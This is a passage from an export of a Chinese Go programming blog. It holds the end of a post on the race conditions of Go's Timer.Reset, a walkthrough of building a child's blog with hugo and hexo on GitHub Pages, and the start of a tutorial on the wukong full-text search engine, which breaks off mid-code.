大致意思是：如果明确time已经expired，并且t.C已经被取空，那么可以直接使用Reset；如果程序之前没有从t.C中读取过值，这时需要首先调用Stop()，如果返回true，说明timer还没有expire，stop成功删除timer，可直接reset；如果返回false，说明stop前已经expire，需要显式drain channel。\n4、example4 我们的example3就是“time已经expired，并且t.C已经被取空，那么可以直接使用Reset ”这第一种情况，我们应该直接reset，而不用显式drain channel。如何将这两种情形合二为一，很直接的想法就是增加一个开关变量isChannelDrained，标识timer.C是否已经被取空，如果取空，则直接调用Reset。如果没有，则drain Channel。\n增加一个变量总是麻烦的，RussCox也给出一个未经详尽验证的方法，我们来看看用这种方法改造的example4.go：\n//example4.go //consumer go func() { // try to read from channel, block at most 5s. // if timeout, print time event and go on loop. // if read a message which is not the type we want(we want true, not false), // retry to read. timer := time.NewTimer(time.Second * 5) for { // timer may be not active, and fired if !timer.Stop() { select { case \u0026lt;-timer.C: //try to drain from the channel default: } } timer.Reset(time.Second * 5) select { case b := \u0026lt;-c: if b == false { fmt.Println(time.Now(), \u0026quot;:recv false. continue\u0026quot;) continue } //we want true, not false fmt.Println(time.Now(), \u0026quot;:recv true. return\u0026quot;) return case \u0026lt;-timer.C: fmt.Println(time.Now(), \u0026quot;:timer expired\u0026quot;) continue } } }() 执行结果：\n$go run example4.go 2016-12-21 15:38:16.704647957 +0800 CST :timer expired 2016-12-21 15:38:18.703107177 +0800 CST :recv false. continue 2016-12-21 15:38:23.706665507 +0800 CST :timer expired 2016-12-21 15:38:25.705314522 +0800 CST :recv false. continue 2016-12-21 15:38:30.70900638 +0800 CST :timer expired 2016-12-21 15:38:32.707482917 +0800 CST :recv false. continue 2016-12-21 15:38:37.711260142 +0800 CST :timer expired 2016-12-21 15:38:39.709668705 +0800 CST :recv false. continue 2016-12-21 15:38:44.71337522 +0800 CST :timer expired 2016-12-21 15:38:46.710880007 +0800 CST :recv false. continue 2016-12-21 15:38:51.713813305 +0800 CST :timer expired 2016-12-21 15:38:53.713063822 +0800 CST :recv true. return 我们利用一个select来包裹channel drain，这样无论channel中是否有数据，drain都不会阻塞住。看似问题解决了。\n5、竞争条件 如果你看过timerproc的代码，你会发现其中的这样一段代码：\n// go1.7 // $GOROOT/src/runtime/time.go f := t.f arg := t.arg seq := t.seq unlock(\u0026amp;timers.lock) if raceenabled { raceacquire(unsafe.Pointer(t)) } f(arg, seq) lock(\u0026amp;timers.lock) 我们看到在timerproc执行f(arg, seq)这个函数前，timerproc unlock了timers.lock，也就是说f的执行并没有在锁内。\n前面说过，f的执行是什么？\n对于AfterFunc来说，就是启动一个goroutine，并在这个新goroutine中执行用户传入的函数；\n对于After和NewTimer这种创建姿势创建的timer而言，f的执行就是sendTime的执行，也就是向t.C中send 当前时间。\n注意：这时候timer expire过程中sendTime的执行与“drain channel”是分别在两个goroutine中执行的，谁先谁后，完全依靠runtime调度。于是example4.go中的看似没有问题的代码，也可能存在问题（当然需要时间粒度足够小，比如ms级的Timer）。\n如果sendTime的执行发生在drain channel执行前，那么就是example4.go中的执行结果：Stop返回false（因为timer已经expire了），显式drain channel会将数据读出，后续Reset后，timer正常执行；\n如果sendTime的执行发生在drain channel执行后，那么问题就来了，虽然Stop返回false（因为timer已经expire），但drain channel并没有读出任何数据。之后，sendTime将数据发到channel中。timer Reset后的Timer中的Channel实际上已经有了数据，于是当进入下面的select执行体时，”case \u0026lt;-timer.C:”瞬间返回，触发了timer事件，没有启动超时等待的作用。\n这也是issue：*time: Timer.C can still trigger even after Timer.Reset is called #11513中问到的问题。\ngo官方文档中对此也有描述：\nNote that it is not possible to use Reset's return value correctly, as there is a race condition between draining the channel and the new timer expiring. Reset should always be invoked on stopped or expired channels, as described above. The return value exists to preserve compatibility with existing programs. 三、真的有Reset方法的正确使用姿势吗？ 综合上述例子和分析，Reset的使用似乎没有理想的方案，但一般来说，在特定业务逻辑下，Reset还是可以正常工作的，就如example4那样。即便出现问题，如果了解了Reset背后的原理，问题解决起来也是会很快很准的。\n文中的相关代码可以在这里下载。\n四、参考资料 Golang官方有关Timer的issue list：\nruntime: special case timer channels #8898\ntime:timer stop ,how to use? #14947\ntime: document proper usage of Timer.Stop #14383\n*time: Timer.Reset is not possible to use correctly #14038\nTime.After doesn’t release memory #15781\nruntime: timerproc does not get to run under load #15706\ntime: time.After uses memory until duration times out #15698\ntime:timer stop panic #14946\n*time: Timer.C can still trigger even after Timer.Reset is called #11513\ntime: Timer.Stop documentation incorrect for Timer returned by AfterFunc #17600\n相关资料：\ngo中的定时器timer Go内部实现之timer Go定时器 How Do They Do It: Timers in Go timer在go可以有多精确 ","permalink":"https://tonybai.com/2016/12/21/how-to-use-timer-reset-in-golang-correctly/","summary":"\u003cp\u003e2016年，\u003ca href=\"http://tonybai.com/tag/golang\"\u003eGo语言\u003c/a\u003e在\u003ca href=\"http://www.tiobe.com/tiobe-index/\"\u003eTiobe编程语言排行榜\u003c/a\u003e上位次的大幅蹿升(2016年12月份Tiobe榜单：go位列第16位，Rating值：1.939%)。与此同时，我们也能切身感受到Go语言在世界范围蓬勃发展，其在中国地界儿上的发展更是尤为猛烈^0^：For \u003ca href=\"http://tonybai.com/2016/04/18/my-experience-of-gopherchina2016\"\u003egopher\u003c/a\u003e们的job变多了、网上关于Go的资料也大有“汗牛充栋”之势。作为职业Gopher^0^，要为这个生态添砖加瓦，就要多思考、多总结，关键还要做到“遇到了问题，就要说出来，给出你的见解”。每篇文章都有自己的切入角度和关注重点，因此Gopher们也无需过于担忧资料的“重复”。\u003c/p\u003e\n\u003cp\u003e这次，我来说说在使用Go标准库中Timer的Reset方法时遇到的问题。\u003c/p\u003e\n\u003ch3 id=\"一关于timer原理的一些说明\"\u003e一、关于Timer原理的一些说明\u003c/h3\u003e\n\u003cp\u003e在\u003ca href=\"http://tonybai.com/2015/11/17/tcp-programming-in-golang\"\u003e网络编程\u003c/a\u003e方面，从用户视角看，golang表象上是一种“阻塞式”网络编程范式，而支撑这种“阻塞式”范式的则是内置于go编译后的executable file中的runtime。runtime利用网络IO多路复用机制实现多个进行网络通信的goroutine的合理调度。goroutine中的执行函数则相当于你在传统C编程中传给epoll机制的回调函数。golang一定层度上消除了在这方面“回调”这种“逆向思维”给你带来的心智负担，简化了网络编程的复杂性。\u003c/p\u003e","title":"论golang Timer Reset方法使用的正确姿势"},{"content":"时光荏苒。转眼间女儿已经成为一名小学生了，依稀还记得当年果果呱呱坠地的情景，独自回味，感慨万千。\n果果3岁前，都是我来记录她的生活点滴和成长历程，那个时候她是我们生活舞台的主角。3岁后，果果学会了说话，上了幼儿园，开始学习各种知识、技能以及各种才艺。尤其是在幼儿园中班之后，她学会了写字、组词、造句和写日记，果果完全可以自己用文字来表达自己了! 我觉得是时候让她自己来记录她的成长历程了，我和她妈妈只是辅助和指导就好了。这种想法日益迫切，尤其是果果今年上了小学后，果果的成长更快了。我觉得迫切需要给她一个平台去表达她自己和记录她的成长。传统手段不能满足需求，于是我就想到给她搭建了一个博客站点，辅助她用网络文字、图片的形式记录自6岁上学之后的成长历程。于是这个周末就花了些时间，给女儿搭了一个博客站点。\n下面以“流水账”的形式，记录一下这个站点的搭建过程，也许能给和我有同样需求的家长们带来一些帮助^_^。\n一、选型和准备工作 博客站点，我首选静态页面的。静态页面，又要快速搭建，我首选github page。github page一般情况下在国内访问相对较为稳定，访问速度也不错，ping延迟一般在100多ms，比我独立购买的Digital Ocean的主机的延迟低很多。还有另外一个原因就是市面上几乎所有主流静态页面生成工具都对github pages有着不错的支持。由于采用静态页面，即便将来迁移到VPS，也几乎是无缝的。于是给果果在github上申请了账号。\n用与搭建博客、个人站点的静态页面生成工具很多，比如：jekyll、octopress、hexo以及hugo，用哪个呢？作为Gopher，我首选hugo。接下来，我们来看看用hugo是否能搭建出满足我们需求的基于github page的博客站点吧。\nhugo的安装参考hugo github主页上的说明即可。由于hugo import了很多第三方package，有些package可能在墙外，因此配置上加速器是更好的、更快的^_^。\n二、基于hugo搭建博客站点 去年曾写过一篇《使用Hugo搭建静态站点(http://tonybai.com/2015/09/23/intro-of-gohugo/)》，讲述如何通过hugo这个golang开发的工具搭建一个属于自己的静态站点（static websites)。不过那篇文章并没有谈到hugo如何与github page结合。\nhugo官方文档中，对如何使用hugo创建基于github page站点有着较为详尽的描述，这是由一位名为Spencer Lyon的外国开发者贡献的文章，并且Spencer Lyon给出hugo github page的工程template： hugo-gh-blog。我这里就直接使用了该工程模板，并基于hugo_gh_blog做一些定制化修改，比如“汉化”之类的。\n下面是详细的步骤：\n1、clone hugo_gh_blog 我们首先将Spencer Lyon的hugo_gh_blog代码库clone到本地，这是我们博客搭建的基础：\n$mkdir GuoGuoBlog $cd GuoGuoBlog $git clone https://github.com/spencerlyon2/hugo_gh_blog.git Cloning into 'hugo_gh_blog'... remote: Counting objects: 489, done. remote: Total 489 (delta 0), reused 0 (delta 0), pack-reused 489 Receiving objects: 100% (489/489), 84.50 KiB | 24.00 KiB/s, done. Resolving deltas: 100% (232/232), done. Checking connectivity... done. $cd hugo_gh_blog/ $ls LICENSE README.md config.yaml content/ deploy.sh* static/ themes/ 2、编辑config.yaml和本地调试 进入hugo_gh_blog目录，编辑config.yaml，设置站点的一些元数据：\n--- contentdir: \u0026quot;content\u0026quot; layoutdir: \u0026quot;layouts\u0026quot; publishdir: \u0026quot;public\u0026quot; indexes: category: \u0026quot;categories\u0026quot; baseurl: \u0026quot;http://baisibei.github.io\u0026quot; title: \u0026quot;果果的成长历程\u0026quot; canonifyurls: true theme: \u0026quot;Lanyon\u0026quot; ... 接下来，我们来生成我们的静态博客页面：\n$hugo 0 draft content 0 future content 2 pages created 0 paginator pages created 2 categories created in 48 ms hugo将创建public目录，并将生成的页面放入该目录：\n$ls public 404.html categories/ css/ favicon.ico img/ index.html index.xml posts/ sitemap.xml public/index.html就是站点首页。\n我们在本地可以启动hugo server，并查看生成的站点情况：\n$hugo server -t Lanyon 0 draft content 0 future content 2 pages created 0 paginator pages created 2 categories created in 54 ms Serving pages from /Users/tony/GuoGuoBlog/hugo_gh_blog/public Web Server is available at http://localhost:1313/ (bind address 127.0.0.1) 打开浏览器，输入localhost:1313。不出意外，你就可以看到类似下面的站点：\n3、创建github page repository 默认情况，github账号xxxx对应的github page repository是xxxx.github.io。于是我在女儿的github账号下创建public repository：baisibei.github.io。\n接下来，我们需要将上步中生成的静态页面push到baisibei.github.io这个repository中。在本地进入到hugo_gh_blog/public目录下，执行：\n$git init $git add -A $git commit -m\u0026quot;initial commit\u0026quot; . $git remote add origin https//github.com/baisibei.github.io.git $git push -u origin master 如果你是用自己的github账号替孩子提交，那么请在该repository下设置collaborator。\npush一旦成功后，你就可以直接访问：https://xxxx.github.io查看站点页面了。我这里要访问的是baisibei.github.io。\n4、样式问题 问题出现了。在本地样式良好的首页，一旦push到github page上，再用浏览器（chrome）打开，我发现样式全部丢失了，首页被render为“全文字”版本。我一开始怀疑css文件路径不对或无法访问到某个css文件，通过“显示网页源代码”，单独试着访问所有css文件，发现这些文件都是可访问的。还有一个现象是：通过mac safari浏览器、手机上的ucweb、微信内置浏览器浏览，均没有样式问题，显示一切正常(Firefox、IE也均有问题)。将hugo_gh_blog放在我的VPS上，并用hugo作为web server，任何浏览器访问都是没有问题的。\n针对这个问题，谷歌和度娘了半天，也没有解决掉。于是我有了换工具的想法。在搜索其他工具资料的过程中，我发现了基于hexo的maupassant theme！没错，就是那个和我目前博客同源的主题：maupassant。这个主题采用响应式的设计，对不同屏幕的访问均有很好的适配。\n之前我的博客为了适应智能终端的浏览，采用了WPtouch插件，效果差强人意。这次我特地停用了该插件，直接用手机访问我的博客，发现maupassant的显示效果是棒棒的。于是下一步，我将hugo更换为hexo，主题由Lanyon更换为maupassant。\nhugo_gh_blog和baisibei.github.io依然保留在github.com上，后者的名字被rename为baisibei.github.io.using.hugo。\n三、基于hexo搭建博客站点 1、安装hexo相关工具 第一次用hexo，安装hexo过程需要一些耐心：\n$npm install hexo-cli -g {耐心的等待... ...} $which hexo /usr/local/bin/hexo $hexo -v hexo-cli: 1.0.2 os: Darwin 13.1.0 darwin x64 http_parser: 2.7.0 node: 6.9.1 v8: 5.1.281.84 uv: 1.9.1 zlib: 1.2.8 ares: 1.10.1-DEV icu: 57.1 modules: 48 openssl: 1.0.2j 2、创建blog 使用hexo init在本地创建blog repository目录：\n$hexo init hexo_gh_blog {耐心等待...} ... ... INFO Start blogging with Hexo! 进入hexo_gh_blog目录：\n$cd hexo_gh_blog $ls _config.yml node_modules/ package.json scaffolds/ source/ themes/ 没完，我们还需要install一下相关的依赖：\n$npm install {耐心等待....} 通过”hexo g”命令生成blog文件：\n$hexo g INFO Start processing INFO Files loaded in 270 ms INFO Generated: index.html INFO Generated: archives/index.html INFO Generated: fancybox/blank.gif INFO Generated: fancybox/jquery.fancybox.css INFO Generated: fancybox/fancybox_sprite.png INFO Generated: fancybox/fancybox_loading.gif INFO Generated: fancybox/fancybox_overlay.png INFO Generated: fancybox/fancybox_loading@2x.gif INFO Generated: fancybox/jquery.fancybox.pack.js INFO Generated: fancybox/jquery.fancybox.js INFO Generated: fancybox/fancybox_sprite@2x.png INFO Generated: archives/2016/12/index.html INFO Generated: css/fonts/fontawesome-webfont.eot INFO Generated: css/fonts/fontawesome-webfont.svg INFO Generated: css/style.css INFO Generated: css/fonts/fontawesome-webfont.ttf INFO Generated: fancybox/helpers/fancybox_buttons.png INFO Generated: css/fonts/FontAwesome.otf INFO Generated: js/script.js INFO Generated: fancybox/helpers/jquery.fancybox-buttons.css INFO Generated: archives/2016/index.html INFO Generated: css/fonts/fontawesome-webfont.woff INFO Generated: fancybox/helpers/jquery.fancybox-media.js INFO Generated: fancybox/helpers/jquery.fancybox-buttons.js INFO Generated: fancybox/helpers/jquery.fancybox-thumbs.css INFO Generated: fancybox/helpers/jquery.fancybox-thumbs.js INFO Generated: css/images/banner.jpg INFO Generated: 2016/12/16/hello-world/index.html INFO 28 files generated in 867 ms $ls _config.yml db.json node_modules/ package.json public/ scaffolds/ source/ themes/ 和hugo命令类似，hexo g也创建了public目录，并将站点的静态文件生成在这个目录下面。\n通过hexo s可以启动一个web server，在本地查看生成的静态站点：\n$hexo s INFO Start processing INFO Hexo is running at http://localhost:4000/. Press Ctrl+C to st hexo自带的landscape theme真的是不咋好看。\n3、更换主题为maupassant 先清理一下生成文件，再clone maupassant主题：\n$hexo clean INFO Deleted database. INFO Deleted public folder. $git clone https://github.com/tufu9441/maupassant-hexo themes/maupassant Cloning into 'themes/maupassant'... remote: Counting objects: 1310, done. remote: Total 1310 (delta 0), reused 0 (delta 0), pack-reused 1309 Receiving objects: 100% (1310/1310), 562.88 KiB | 382.00 KiB/s, done. Resolving deltas: 100% (747/747), done. Checking connectivity... done. $ls themes/ landscape/ maupassant/ 编辑hexo_gh_blog/_config.yml文件，修改theme为：maupassant\n//_config.xml theme: landscape =\u0026gt; theme: maupassant 重新生成站点静态文件之前，我们还需要安装下面两个工具，否则hexo生成出来的静态页面也是不可用的：\n$ npm install hexo-renderer-jade --save $ npm install hexo-renderer-sass --save hexo g和hexo s后，你就可以在本地：localhost:4000地址上看到生成的静态页面了：\n仿效上面章节中的步骤，将public目录push到baisibei.github.io repository中，看看我们上传后的站点通过公网访问是否还有“失真”现象，结果：一切正常。\n4、定制站点 a) 定制hexo_gh_blog/_config.yml 这个_config.xml中的配置都是站点全局范畴的，这里仅我将我修改过的一些定制属性贴出来：\n# Site title: Amy Bai subtitle: 果果的成长历程 description: 记录一个小女孩儿在学习、生活、家庭、情感方面的成长经历 author: Amy Bai language: zh-CN timezone: Asia/Shanghai since: 2016 avatar: https://avatars0.githubusercontent.com/u/24524343?v=3\u0026amp;s=400 # URL ## If your site is put in a subdirectory, set url as 'http://yoursite.com/child' and root as '/child/' url: http://daughter.tonybai.com 默认情况下，maupassant主题的menu中包含rss菜单项（站点的订阅feed），对应的访问路径是/atom.xml，但要生成atom.xml，需要安装另外两个plugins：hexo-generator-feed和hexo-generator-sitemap：\n在_config.xml中添加： plugins: - hexo-generator-feed - hexo-generator-sitemap 安装这两个插件； $npm install hexo-generator-feed --save hexo-site@0.0.0 /Users/tony/GuoGuoblog/hexo_gh_blog └── hexo-generator-feed@1.2.0 $npm install hexo-generator-sitemap --save hexo-site@0.0.0 /Users/tony/GuoGuoblog/hexo_gh_blog └── hexo-generator-sitemap@1.1.2 安装后，执行hexo g，会看到atom.xml的生成。不过由于hexo版本似乎与feed插件有兼容性问题，当执行hexo s时，命令报错。我暂时在_config.xml中先注释掉这两个插件，待后期看是否能解决，不过这不影响站点的主要功能。\nb) about页面 在maupassant主题的menu中默认还包含了about菜单项，但在生成的站点静态页面中点击about菜单项，将返回失败页面。如何给站点添加about页面呢？\n在hexo_gh_blog/source下创建about目录，进入about目录，创建index.md文件，内容诸如：\n--- title: 关于我 --- 我是Amy Bai，小名果果。 这样hexo g和hexo s后，你就有about页面可供访问了。\n5、写post hexo通过hexo new 命令来创建一篇post，我更喜欢简单粗暴，直接再hexo_gh_blog/source/_post创建一个xxx.md文件，这就是一篇post。post内的markdown格式和很多工具都是类似的：\n以initial-post.md为例： --- title: \u0026quot;第一篇（待写）\u0026quot; date: \u0026quot;2016-12-15\u0026quot; description: \u0026quot;第一篇博文，敬请期待^O^\u0026quot; categories: - \u0026quot;日记\u0026quot; - \u0026quot;感悟\u0026quot; --- ## 标题一 第一篇文章，敬请期待 ### 子标题 ## 小结 ^O^ hexo按md文件头中的date对post进行排序。title就是显示在文章中的标题。description是文章摘要。默认情况下，maupassant主题在首页只是展示文章摘要而不是全文。\n四、域名绑定 还没有申请顶级域名下的二级域名，目前打算绑定daughter.tonybai.com这个子域名。怎么做呢？\n在public目录下，创建CNAME文件，文件内容：daughter.tonybai.com。然后将文件Push到github上去。\n在你的域名管理站点，创建”daughter.tonybai.com”子域名，并将其CNAME值设置为”baisibei.github.io”。生效后，打开浏览器，访问”daughter.tonybai.com”，你就可以看到你刚刚生成的新站点了。\n五、小结 站点搭建好了！用各种终端访问，感觉效果还不错。post发布也很方便，如果你想自动发布，定义一下hexo deploy即可。我个人习惯手动提交，也就没这个步骤了。\n接下来，把内容创作的任务就交给果果了^_^。\n","permalink":"https://tonybai.com/2016/12/18/build-a-blog-website-for-my-daughter/","summary":"\u003cp\u003e时光荏苒。转眼间女儿已经成为一名小学生了，依稀还记得当年\u003ca href=\"http://tonybai.com/2010/05/11/now-i-am-a-father/\"\u003e果果呱呱坠地\u003c/a\u003e的情景，独自回味，感慨万千。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://tonybai.com/2013/05/18/daughter-is-3-years-old/\"\u003e果果3岁\u003c/a\u003e前，都是我来\u003ca href=\"http://tonybai.com/tag/%E5%A5%B3%E5%84%BF\"\u003e记录她的生活点滴和成长历程\u003c/a\u003e，那个时候她是我们生活舞台的主角。3岁后，果果学会了说话，上了幼儿园，开始学习各种知识、技能以及各种才艺。尤其是在幼儿园中班之后，她学会了写字、组词、造句和写日记，果果完全可以自己用文字来表达自己了! 我觉得是时候让她自己来记录她的成长历程了，我和她妈妈只是辅助和指导就好了。这种想法日益迫切，尤其是果果今年上了小学后，果果的成长更快了。我觉得迫切需要给她一个平台去表达她自己和记录她的成长。传统手段不能满足需求，于是我就想到给她搭建了一个博客站点，辅助她用网络文字、图片的形式记录自6岁上学之后的成长历程。于是这个周末就花了些时间，给女儿搭了一个博客站点。\u003c/p\u003e","title":"给女儿搭建一个博客站点"},{"content":"近期项目中有一个全文索引和全文搜索的业务需求，组内同事在这方面都没啥经验，找一个满足我们需求的开源的全文搜索引擎势在必行。我们这一期对全文搜索引擎的需求并不复杂，最主要的是引擎可以很好的支持中文分词、索引和搜索，并能快速实现功能。在全文搜索领域，基于Apache lucene的ElasticSearch舍我其谁，其强大的分布式系统能力、对超大规模数据的支持、友好的Restful API以及近实时的搜索性能都是业内翘楚，并且其开发社区也是相当活跃，资料众多。但也正式由于其体量较大，我们并没有在本期项目中选择使用ElasticSearch，而是挑选了另外一个“fame”不是那么响亮的引擎：wukong。\n一、wukong简介 wukong，是一款golang实现的高性能、支持中文分词的全文搜索引擎。我个人觉得它最大的特点恰恰是不像ElasticSearch那样庞大和功能完备，而是可以以一个Library的形式快速集成到你的应用或服务中去，这可能也是在当前阶段选择它的最重要原因，当然其golang技术栈也是让我垂涎于它的另外一个原因:)。\n第一次知道wukong，其实是在今年的GopherChina大会上，其作者陈辉作为第一个演讲嘉宾在大会上分享了“Go与人工智能”。在这个presentation中，chen hui详细讲解了wukong搜索引擎以及其他几个关联的开源项目，比如：sego等。\n在golang世界中，做full text search的可不止wukong一个。另外一个比较知名的是bleve，但默认情况下，bleve并不支持中文分词和搜索，需要结合中文分词插件才能支持，比如：gojieba。\nwukong基本上是陈辉一个人打造的项目，在陈辉在阿里任职期间，他将其用于阿里内部的一些项目中，但总体来说，wukong的应用还是很小众的，相关资料也不多，基本都集中在其github站点上。关于wukong源码的分析，倒是在国外站点上发现一篇：《Code reading: wukong full-text search engine》。\n本文更多聚焦于应用wukong引擎，而不是来分析wukong代码。\n二、全文索引和检索 1、最简单的例子 我们先来看一个使用wukong引擎编写的最简单的例子：\n//example1.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;github.com/huichen/wukong/engine\u0026quot; \u0026quot;github.com/huichen/wukong/types\u0026quot; ) var ( searcher = engine.Engine{} docId uint64 ) const ( text1 = `在苏黎世的FIFA颁奖典礼上，巴萨球星、阿根廷国家队队长梅西赢得了生涯第5个金球奖，继续创造足坛的新纪录` text2 = `12月6日，网上出现照片显示国产第五代战斗机歼-20的尾翼已经涂上五位数部队编号` ) func main() { searcher.Init(types.EngineInitOptions{ IndexerInitOptions: \u0026amp;types.IndexerInitOptions{ IndexType: types.DocIdsIndex, }, SegmenterDictionaries: \u0026quot;./dict/dictionary.txt\u0026quot;, StopTokenFile: \u0026quot;./dict/stop_tokens.txt\u0026quot;, }) defer searcher.Close() docId++ searcher.IndexDocument(docId, types.DocumentIndexData{Content: text1}, false) docId++ searcher.IndexDocument(docId, types.DocumentIndexData{Content: text2}, false) searcher.FlushIndex() fmt.Printf(\u0026quot;%#v\\n\u0026quot;, searcher.Search(types.SearchRequest{Text: \u0026quot;巴萨 梅西\u0026quot;})) fmt.Printf(\u0026quot;%#v\\n\u0026quot;, searcher.Search(types.SearchRequest{Text: \u0026quot;战斗机 金球奖\u0026quot;})) } 在这个例子中，我们创建的wukong engine索引了两个doc：text1和text2，建立好索引后，我们利用引擎进行关键词查询，我们来看看查询结果：\n$go run example1.go 2016/12/06 21:40:04 载入sego词典 ./dict/dictionary.txt 2016/12/06 21:40:08 sego词典载入完毕 types.SearchResponse{Tokens:[]string{\u0026quot;巴萨\u0026quot;, \u0026quot;梅西\u0026quot;}, Docs:[]types.ScoredDocument{types.ScoredDocument{DocId:0x1, Scores:[]float32{0}, TokenSnippetLocations:[]int(nil), TokenLocations:[][]int(nil)}}, Timeout:false, NumDocs:1} types.SearchResponse{Tokens:[]string{\u0026quot;战斗机\u0026quot;, \u0026quot;金球奖\u0026quot;}, Docs:[]types.ScoredDocument{}, Timeout:false, NumDocs:0} 可以看出当查询“巴萨 梅西”时，引擎正确匹配到了第一个文档(DocId:0×1)。而第二次查询关键词组合“战斗机 金球奖”则没有匹配到任何文档。从这个例子我们也可以看出，wukong引擎对关键词查询支持的是关键词的AND查询，只有文档中同时包含所有关键词，才能被匹配到。这也是目前wukong引擎唯一支持的一种关键词搜索组合模式。\nwukong引擎的索引key是一个uint64值，我们需要保证该值的唯一性，否则将导致已创建的索引被override。\n另外我们看到：在初始化IndexerInitOptions时，我们传入的IndexType是types.DocIdsIndex，这将指示engine在建立的索引和搜索结果中只保留匹配到的DocId信息，这将最小化wukong引擎对内存的占用。\n如果在初始化EngineInitOptions时不给StopTokenFile赋值，那么当我们搜索”巴萨 梅西”时，引擎会将keywords分成三个关键词：”巴萨”、空格和”梅西”分别搜索并Merge结果：\n$go run example1.go 2016/12/06 21:57:47 载入sego词典 ./dict/dictionary.txt 2016/12/06 21:57:51 sego词典载入完毕 types.SearchResponse{Tokens:[]string{\u0026quot;巴萨\u0026quot;, \u0026quot; \u0026quot;, \u0026quot;梅西\u0026quot;}, Docs:[]types.ScoredDocument{}, Timeout:false, NumDocs:0} types.SearchResponse{Tokens:[]string{\u0026quot;战斗机\u0026quot;, \u0026quot; \u0026quot;, \u0026quot;金球奖\u0026quot;}, Docs:[]types.ScoredDocument{}, Timeout:false, NumDocs:0} 2、FrequenciesIndex和LocationsIndex wukong Engine的IndexType支持的另外两个类型是FrequenciesIndex和LocationsIndex，分别对应的是保留词频信息以及关键词在文档中出现的位置信息，这两类IndexType对内存的消耗量也是逐渐增大的，毕竟保留的信息是递增的：\n当IndexType = FrequenciesIndex时：\n$go run example1.go 2016/12/06 22:03:47 载入sego词典 ./dict/dictionary.txt 2016/12/06 22:03:51 sego词典载入完毕 types.SearchResponse{Tokens:[]string{\u0026quot;巴萨\u0026quot;, \u0026quot;梅西\u0026quot;}, Docs:[]types.ScoredDocument{types.ScoredDocument{DocId:0x1, Scores:[]float32{3.0480049}, TokenSnippetLocations:[]int(nil), TokenLocations:[][]int(nil)}}, Timeout:false, NumDocs:1} types.SearchResponse{Tokens:[]string{\u0026quot;战斗机\u0026quot;, \u0026quot;金球奖\u0026quot;}, Docs:[]types.ScoredDocument{}, Timeout:false, NumDocs:0} 当IndexType = LocationsIndex时：\n$go run example1.go 2016/12/06 22:04:31 载入sego词典 ./dict/dictionary.txt 2016/12/06 22:04:38 sego词典载入完毕 types.SearchResponse{Tokens:[]string{\u0026quot;巴萨\u0026quot;, \u0026quot;梅西\u0026quot;}, Docs:[]types.ScoredDocument{types.ScoredDocument{DocId:0x1, Scores:[]float32{3.0480049}, TokenSnippetLocations:[]int{37, 76}, TokenLocations:[][]int{[]int{37}, []int{76}}}}, Timeout:false, NumDocs:1} types.SearchResponse{Tokens:[]string{\u0026quot;战斗机\u0026quot;, \u0026quot;金球奖\u0026quot;}, Docs:[]types.ScoredDocument{}, Timeout:false, NumDocs:0} 3、分词对结果的影响 在前面，当不给StopTokenFile赋值时，我们初步看到了分词对搜索结果的影响。wukong的中文分词完全基于作者的另外一个开源项目sego实现的。分词的准确程度直接影响着索引的建立和关键词的搜索结果。sego的词典和StopTokenFile来自于网络，如果你需要更加准确的分词结果，那么是需要你定期更新dictionary.txt和stop_tokens.txt。\n举个例子，如果你的源文档内容为：”你们很感兴趣的 .NET Core 1.1 来了哦”，你的搜索关键词为：兴趣。按照我们的预期，应该可以搜索到这个源文档。但实际输出却是：\ntypes.SearchResponse{Tokens:[]string{\u0026quot;兴趣\u0026quot;}, Docs:[]types.ScoredDocument{}, Timeout:false, NumDocs:0} 其原因就在于sego对”你们很感兴趣的 .NET Core 1.1 来了哦”这句话的分词结果是：\n你们/r 很感兴趣/l 的/uj /x ./x net/x /x core/x /x 1/x ./x 1/x /x 来/v 了/ul 哦/zg sego并没有将“兴趣”分出来，而是将“很感兴趣”四个字放在了一起，wukong引擎自然就不会单独为“兴趣”单独建立文档索引了，搜索不到也就能理解了。因此，sego可以被用来检验wukong引擎分词情况，这将有助于你了解wukong对文档索引的建立情况。\n三、持久化索引和启动恢复 上面的例子中，wukong引擎建立的文档索引都是存放在内存中的，程序退出后，这些数据也就随之消失了。每次启动程序都要根据源文档重新建立索引显然是一个很不明智的想法。wukong支持将已建立的索引持久化到磁盘文件中，并在程序重启时从文件中间索引数据恢复出来，并在后续的关键词搜索时使用。wukong底层支持两种持久化引擎，一个是boltdb，另外一个是cznic/kv。默认采用boltdb。\n我们来看一个持久化索引的例子(考虑文章size，省略一些代码)：\n// example2_index_create.go ... ... func main() { searcher.Init(types.EngineInitOptions{ IndexerInitOptions: \u0026amp;types.IndexerInitOptions{ IndexType: types.DocIdsIndex, }, UsePersistentStorage: true, PersistentStorageFolder: \u0026quot;./index\u0026quot;, SegmenterDictionaries: \u0026quot;./dict/dictionary.txt\u0026quot;, StopTokenFile: \u0026quot;./dict/stop_tokens.txt\u0026quot;, }) defer searcher.Close() os.MkdirAll(\u0026quot;./index\u0026quot;, 0777) docId++ searcher.IndexDocument(docId, types.DocumentIndexData{Content: text1}, false) docId++ searcher.IndexDocument(docId, types.DocumentIndexData{Content: text2}, false) docId++ searcher.IndexDocument(docId, types.DocumentIndexData{Content: text3}, false) searcher.FlushIndex() log.Println(\u0026quot;Created index number:\u0026quot;, searcher.NumDocumentsIndexed()) } 这是一个创建持久化索引的源文件。可以看出：如果要持久化索引，只需在engine init时显式设置UsePersistentStorage为true，并设置PersistentStorageFolder，即索引持久化文件存放的路径。执行一下该源文件：\n$go run example2_index_create.go 2016/12/06 22:41:49 载入sego词典 ./dict/dictionary.txt 2016/12/06 22:41:53 sego词典载入完毕 2016/12/06 22:41:53 Created index number: 3 执行后，我们会在./index路径下看到持久化后的索引数据文件：\n$tree index index ├── wukong.0 ├── wukong.1 ├── wukong.2 ├── wukong.3 ├── wukong.4 ├── wukong.5 ├── wukong.6 └── wukong.7 0 directories, 8 files 现在我们再建立一个程序，该程序从持久化的索引数据恢复索引到内存中，并针对搜索关键词给出搜索结果：\n// example2_index_search.go ... ... var ( searcher = engine.Engine{} ) func main() { searcher.Init(types.EngineInitOptions{ IndexerInitOptions: \u0026amp;types.IndexerInitOptions{ IndexType: types.DocIdsIndex, }, UsePersistentStorage: true, PersistentStorageFolder: \u0026quot;./index\u0026quot;, SegmenterDictionaries: \u0026quot;./dict/dictionary.txt\u0026quot;, StopTokenFile: \u0026quot;./dict/stop_tokens.txt\u0026quot;, }) defer searcher.Close() searcher.FlushIndex() log.Println(\u0026quot;recover index number:\u0026quot;, searcher.NumDocumentsIndexed()) 